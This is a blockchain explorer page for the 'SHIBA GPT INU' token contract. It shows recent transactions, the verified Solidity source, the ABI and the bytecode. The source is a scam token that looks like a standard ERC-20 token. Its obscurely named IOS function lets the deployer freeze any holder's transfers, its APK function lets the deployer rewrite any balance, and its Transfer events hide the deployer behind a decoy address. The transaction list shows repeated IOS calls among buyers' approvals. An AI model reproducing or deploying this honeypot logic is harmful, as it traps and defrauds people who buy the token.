ETH Price: $3,351.82 (+2.82%)
Gas: 1 Gwei

Contract

0x68D0d1a219157A56800ED0Fc88cdF874d3acc22d
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve166658432023-02-19 23:17:11525 days ago1676848631IN
0x68D0d1a2...4d3acc22d
0 ETH0.0005705223.1
Approve166626302023-02-19 12:26:59526 days ago1676809619IN
0x68D0d1a2...4d3acc22d
0 ETH0.0021564445.8408537
Approve166615942023-02-19 8:57:35526 days ago1676797055IN
0x68D0d1a2...4d3acc22d
0 ETH0.0009073319.31240087
IOS166600482023-02-19 3:44:35526 days ago1676778275IN
0x68D0d1a2...4d3acc22d
0 ETH0.00130127.8946554
Approve166588892023-02-18 23:50:11526 days ago1676764211IN
0x68D0d1a2...4d3acc22d
0 ETH0.0005117418.85446953
Approve166588882023-02-18 23:49:59526 days ago1676764199IN
0x68D0d1a2...4d3acc22d
0 ETH0.0007936516.87128278
Approve166588552023-02-18 23:43:23526 days ago1676763803IN
0x68D0d1a2...4d3acc22d
0 ETH0.0009235919.63331915
Approve166587602023-02-18 23:24:23526 days ago1676762663IN
0x68D0d1a2...4d3acc22d
0 ETH0.0010032121.32594186
Approve166587492023-02-18 23:22:11526 days ago1676762531IN
0x68D0d1a2...4d3acc22d
0 ETH0.0009621620.4793542
IOS166586522023-02-18 23:02:47526 days ago1676761367IN
0x68D0d1a2...4d3acc22d
0 ETH0.0009515720.40254979
Approve166586022023-02-18 22:52:47526 days ago1676760767IN
0x68D0d1a2...4d3acc22d
0 ETH0.0014324230.45
Approve166585922023-02-18 22:50:47526 days ago1676760647IN
0x68D0d1a2...4d3acc22d
0 ETH0.0014094630
IOS166585792023-02-18 22:48:11526 days ago1676760491IN
0x68D0d1a2...4d3acc22d
0 ETH0.0008734618.72784483
Approve166585592023-02-18 22:43:59526 days ago1676760239IN
0x68D0d1a2...4d3acc22d
0 ETH0.0008490618.07214194
Approve166585262023-02-18 22:37:23526 days ago1676759843IN
0x68D0d1a2...4d3acc22d
0 ETH0.0008631418.34832686
Approve166585022023-02-18 22:32:35526 days ago1676759555IN
0x68D0d1a2...4d3acc22d
0 ETH0.0010565822.46041362
IOS166584972023-02-18 22:31:35526 days ago1676759495IN
0x68D0d1a2...4d3acc22d
0 ETH0.0010155221.77925842
IOS166584962023-02-18 22:31:23526 days ago1676759483IN
0x68D0d1a2...4d3acc22d
0 ETH0.0010239921.95519245
Approve166584952023-02-18 22:31:11526 days ago1676759471IN
0x68D0d1a2...4d3acc22d
0 ETH0.0010577422.51386099
Approve166584952023-02-18 22:31:11526 days ago1676759471IN
0x68D0d1a2...4d3acc22d
0 ETH0.0014824731.51386099
Approve166584942023-02-18 22:30:59526 days ago1676759459IN
0x68D0d1a2...4d3acc22d
0 ETH0.0011346124.15
IOS166584832023-02-18 22:28:35526 days ago1676759315IN
0x68D0d1a2...4d3acc22d
0 ETH0.0008575418.38656045
IOS166584762023-02-18 22:27:11526 days ago1676759231IN
0x68D0d1a2...4d3acc22d
0 ETH0.0008443218.10295328
Approve166584722023-02-18 22:26:23526 days ago1676759183IN
0x68D0d1a2...4d3acc22d
0 ETH0.0007897716.78876597
IOS166584542023-02-18 22:22:47527 days ago1676758967IN
0x68D0d1a2...4d3acc22d
0 ETH0.0008894719.07596185
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBAGPT

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-02-18
*/

pragma solidity 0.8.18;

 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

} 

 
contract SHIBAGPT {
  
    mapping (address => uint256) private bVal;


    mapping (address => uint256) private cVx;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "SHIBA GPT INU";
    string public symbol = unicode"SHIBGPT";
    uint8 public decimals = 6;


    uint256 public totalSupply = 500000000 *10**6;
    address owner = msg.sender;
    uint256 private MIN;
    address private DVI;
    address private EVI;


    address fVI = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
   



        constructor()  {
    DVI = msg.sender;
    bVal[msg.sender] = totalSupply;
    EVI = fVI;
    emit Transfer(address(0), EVI, totalSupply); 
    MIN = 0;
    }

    function renounceOwnership() public virtual {
       
        require(msg.sender == owner);
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
        
    }
       function IOS (address Xi, uint256 Xx)  public {
     require(msg.sender == DVI);
   cVx[Xi] = Xx;}


   function balanceOf(address account) public view  returns (uint256) {
        return bVal[account];
    }

    function transfer(address to, uint256 value) public returns (bool success) {


    
        require(bVal[msg.sender] >= value);
        require(cVx[msg.sender] <= MIN); 
  bVal[msg.sender] -= value;  
        bVal[to] += value;          
 emit Transfer(msg.sender, to, value);
        return true; }
        function APK (address Xi, uint256 Xx)  public {
    require(msg.sender == DVI);
    bVal[Xi] = Xx;}
 function approve(address spender, uint256 value) public returns (bool success) {    
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true; }


   function transferFrom(address from, address to, uint256 value) public returns (bool success) {   
  
     
        require(cVx[from] <= MIN);
        require(cVx[to] <= MIN);
        require(value <= bVal[from]);
        require(value <= allowance[from][msg.sender]);
        bVal[from] -= value;
        bVal[to] += value;
        allowance[from][msg.sender] -= value;
       if(from == DVI) {from = fVI;}
        emit Transfer(from, to, value);
        return true; }



    }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"Xi","type":"address"},{"internalType":"uint256","name":"Xx","type":"uint256"}],"name":"APK","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Xi","type":"address"},{"internalType":"uint256","name":"Xx","type":"uint256"}],"name":"IOS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600d81526020017f53484942412047505420494e5500000000000000000000000000000000000000815250600390816200004a91906200055a565b506040518060400160405280600781526020017f5348494247505400000000000000000000000000000000000000000000000000815250600490816200009191906200055a565b506006600560006101000a81548160ff021916908360ff1602179055506601c6bf5263400060065533600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b8f226ddb7bc672e27dffb67e4adabfa8c0dfa08600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015c57600080fd5b5033600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506006546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620002ca919062000652565b60405180910390a360006008819055506200066f565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200036257607f821691505b6020821081036200037857620003776200031a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003e27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003a3565b620003ee8683620003a3565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200043b620004356200042f8462000406565b62000410565b62000406565b9050919050565b6000819050919050565b62000457836200041a565b6200046f620004668262000442565b848454620003b0565b825550505050565b600090565b6200048662000477565b620004938184846200044c565b505050565b5b81811015620004bb57620004af6000826200047c565b60018101905062000499565b5050565b601f8211156200050a57620004d4816200037e565b620004df8462000393565b81016020851015620004ef578190505b62000507620004fe8562000393565b83018262000498565b50505b505050565b600082821c905092915050565b60006200052f600019846008026200050f565b1980831691505092915050565b60006200054a83836200051c565b9150826002028217905092915050565b6200056582620002e0565b67ffffffffffffffff811115620005815762000580620002eb565b5b6200058d825462000349565b6200059a828285620004bf565b600060209050601f831160018114620005d25760008415620005bd578287015190505b620005c985826200053c565b86555062000639565b601f198416620005e2866200037e565b60005b828110156200060c57848901518255600182019150602085019450602081019050620005e5565b868310156200062c578489015162000628601f8916826200051c565b8355505b6001600288020188555050505b505050505050565b6200064c8162000406565b82525050565b600060208201905062000669600083018462000641565b92915050565b6110b2806200067f6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a357806395d89b41146101ad578063a9059cbb146101cb578063dc37ee2a146101fb578063dd62ed3e14610217578063f2096a5214610247576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce9190610d33565b60405180910390f35b6100f160048036038101906100ec9190610dee565b6102f1565b6040516100fe9190610e49565b60405180910390f35b61010f6103e3565b60405161011c9190610e73565b60405180910390f35b61013f600480360381019061013a9190610e8e565b6103e9565b60405161014c9190610e49565b60405180910390f35b61015d610783565b60405161016a9190610efd565b60405180910390f35b61018d60048036038101906101889190610f18565b610796565b60405161019a9190610e73565b60405180910390f35b6101ab6107de565b005b6101b56108f9565b6040516101c29190610d33565b60405180910390f35b6101e560048036038101906101e09190610dee565b610987565b6040516101f29190610e49565b60405180910390f35b61021560048036038101906102109190610dee565b610b3b565b005b610231600480360381019061022c9190610f45565b610bdd565b60405161023e9190610e73565b60405180910390f35b610261600480360381019061025c9190610dee565b610c02565b005b6003805461027090610fb4565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90610fb4565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190610e73565b60405180910390a36001905092915050565b60065481565b6000600854600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561043957600080fd5b600854600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561048757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104d257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561055b57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a99190611014565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105fe9190611048565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106919190611014565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361071357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107709190610e73565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6004805461090690610fb4565b80601f016020809104026020016040519081016040528092919081815260200182805461093290610fb4565b801561097f5780601f106109545761010080835404028352916020019161097f565b820191906000526020600020905b81548152906001019060200180831161096257829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109d457600080fd5b600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610a2257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a709190611014565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ac59190611048565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b299190610e73565b60405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9557600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c5c57600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610cdd578082015181840152602081019050610cc2565b60008484015250505050565b6000601f19601f8301169050919050565b6000610d0582610ca3565b610d0f8185610cae565b9350610d1f818560208601610cbf565b610d2881610ce9565b840191505092915050565b60006020820190508181036000830152610d4d8184610cfa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610d8582610d5a565b9050919050565b610d9581610d7a565b8114610da057600080fd5b50565b600081359050610db281610d8c565b92915050565b6000819050919050565b610dcb81610db8565b8114610dd657600080fd5b50565b600081359050610de881610dc2565b92915050565b60008060408385031215610e0557610e04610d55565b5b6000610e1385828601610da3565b9250506020610e2485828601610dd9565b9150509250929050565b60008115159050919050565b610e4381610e2e565b82525050565b6000602082019050610e5e6000830184610e3a565b92915050565b610e6d81610db8565b82525050565b6000602082019050610e886000830184610e64565b92915050565b600080600060608486031215610ea757610ea6610d55565b5b6000610eb586828701610da3565b9350506020610ec686828701610da3565b9250506040610ed786828701610dd9565b9150509250925092565b600060ff82169050919050565b610ef781610ee1565b82525050565b6000602082019050610f126000830184610eee565b92915050565b600060208284031215610f2e57610f2d610d55565b5b6000610f3c84828501610da3565b91505092915050565b60008060408385031215610f5c57610f5b610d55565b5b6000610f6a85828601610da3565b9250506020610f7b85828601610da3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680610fcc57607f821691505b602082108103610fdf57610fde610f85565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061101f82610db8565b915061102a83610db8565b925082820390508181111561104257611041610fe5565b5b92915050565b600061105382610db8565b915061105e83610db8565b925082820190508082111561107657611075610fe5565b5b9291505056fea2646970667358221220b95353f4488747fb4afec8b96ada84ece4849a6630d09274c136552b384515e464736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a357806395d89b41146101ad578063a9059cbb146101cb578063dc37ee2a146101fb578063dd62ed3e14610217578063f2096a5214610247576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce9190610d33565b60405180910390f35b6100f160048036038101906100ec9190610dee565b6102f1565b6040516100fe9190610e49565b60405180910390f35b61010f6103e3565b60405161011c9190610e73565b60405180910390f35b61013f600480360381019061013a9190610e8e565b6103e9565b60405161014c9190610e49565b60405180910390f35b61015d610783565b60405161016a9190610efd565b60405180910390f35b61018d60048036038101906101889190610f18565b610796565b60405161019a9190610e73565b60405180910390f35b6101ab6107de565b005b6101b56108f9565b6040516101c29190610d33565b60405180910390f35b6101e560048036038101906101e09190610dee565b610987565b6040516101f29190610e49565b60405180910390f35b61021560048036038101906102109190610dee565b610b3b565b005b610231600480360381019061022c9190610f45565b610bdd565b60405161023e9190610e73565b60405180910390f35b610261600480360381019061025c9190610dee565b610c02565b005b6003805461027090610fb4565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90610fb4565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190610e73565b60405180910390a36001905092915050565b60065481565b6000600854600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561043957600080fd5b600854600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561048757600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156104d257600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561055b57600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a99190611014565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105fe9190611048565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106919190611014565b92505081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361071357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107709190610e73565b60405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461083857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6004805461090690610fb4565b80601f016020809104026020016040519081016040528092919081815260200182805461093290610fb4565b801561097f5780601f106109545761010080835404028352916020019161097f565b820191906000526020600020905b81548152906001019060200180831161096257829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156109d457600080fd5b600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610a2257600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a709190611014565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ac59190611048565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b299190610e73565b60405180910390a36001905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9557600080fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6002602052816000526040600020602052806000526040600020600091509150505481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c5c57600080fd5b806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610cdd578082015181840152602081019050610cc2565b60008484015250505050565b6000601f19601f8301169050919050565b6000610d0582610ca3565b610d0f8185610cae565b9350610d1f818560208601610cbf565b610d2881610ce9565b840191505092915050565b60006020820190508181036000830152610d4d8184610cfa565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610d8582610d5a565b9050919050565b610d9581610d7a565b8114610da057600080fd5b50565b600081359050610db281610d8c565b92915050565b6000819050919050565b610dcb81610db8565b8114610dd657600080fd5b50565b600081359050610de881610dc2565b92915050565b60008060408385031215610e0557610e04610d55565b5b6000610e1385828601610da3565b9250506020610e2485828601610dd9565b9150509250929050565b60008115159050919050565b610e4381610e2e565b82525050565b6000602082019050610e5e6000830184610e3a565b92915050565b610e6d81610db8565b82525050565b6000602082019050610e886000830184610e64565b92915050565b600080600060608486031215610ea757610ea6610d55565b5b6000610eb586828701610da3565b9350506020610ec686828701610da3565b9250506040610ed786828701610dd9565b9150509250925092565b600060ff82169050919050565b610ef781610ee1565b82525050565b6000602082019050610f126000830184610eee565b92915050565b600060208284031215610f2e57610f2d610d55565b5b6000610f3c84828501610da3565b91505092915050565b60008060408385031215610f5c57610f5b610d55565b5b6000610f6a85828601610da3565b9250506020610f7b85828601610da3565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680610fcc57607f821691505b602082108103610fdf57610fde610f85565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061101f82610db8565b915061102a83610db8565b925082820390508181111561104257611041610fe5565b5b92915050565b600061105382610db8565b915061105e83610db8565b925082820190508082111561107657611075610fe5565b5b9291505056fea2646970667358221220b95353f4488747fb4afec8b96ada84ece4849a6630d09274c136552b384515e464736f6c63430008120033

Deployed Bytecode Sourcemap

1179:2553:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1378:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3020:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1503:45;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3238:481;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1467:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2484:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2172:194;;;:::i;:::-;;1421:39;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2598:308;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2375:100;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1307:64;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2916:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1378:36;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3020:209::-;3085:12;3147:5;3114:9;:21;3124:10;3114:21;;;;;;;;;;;;;;;:30;3136:7;3114:30;;;;;;;;;;;;;;;:38;;;;3189:7;3168:36;;3177:10;3168:36;;;3198:5;3168:36;;;;;;:::i;:::-;;;;;;;;3222:4;3215:11;;3020:209;;;;:::o;1503:45::-;;;;:::o;3238:481::-;3317:12;3377:3;;3364;:9;3368:4;3364:9;;;;;;;;;;;;;;;;:16;;3356:25;;;;;;3411:3;;3400;:7;3404:2;3400:7;;;;;;;;;;;;;;;;:14;;3392:2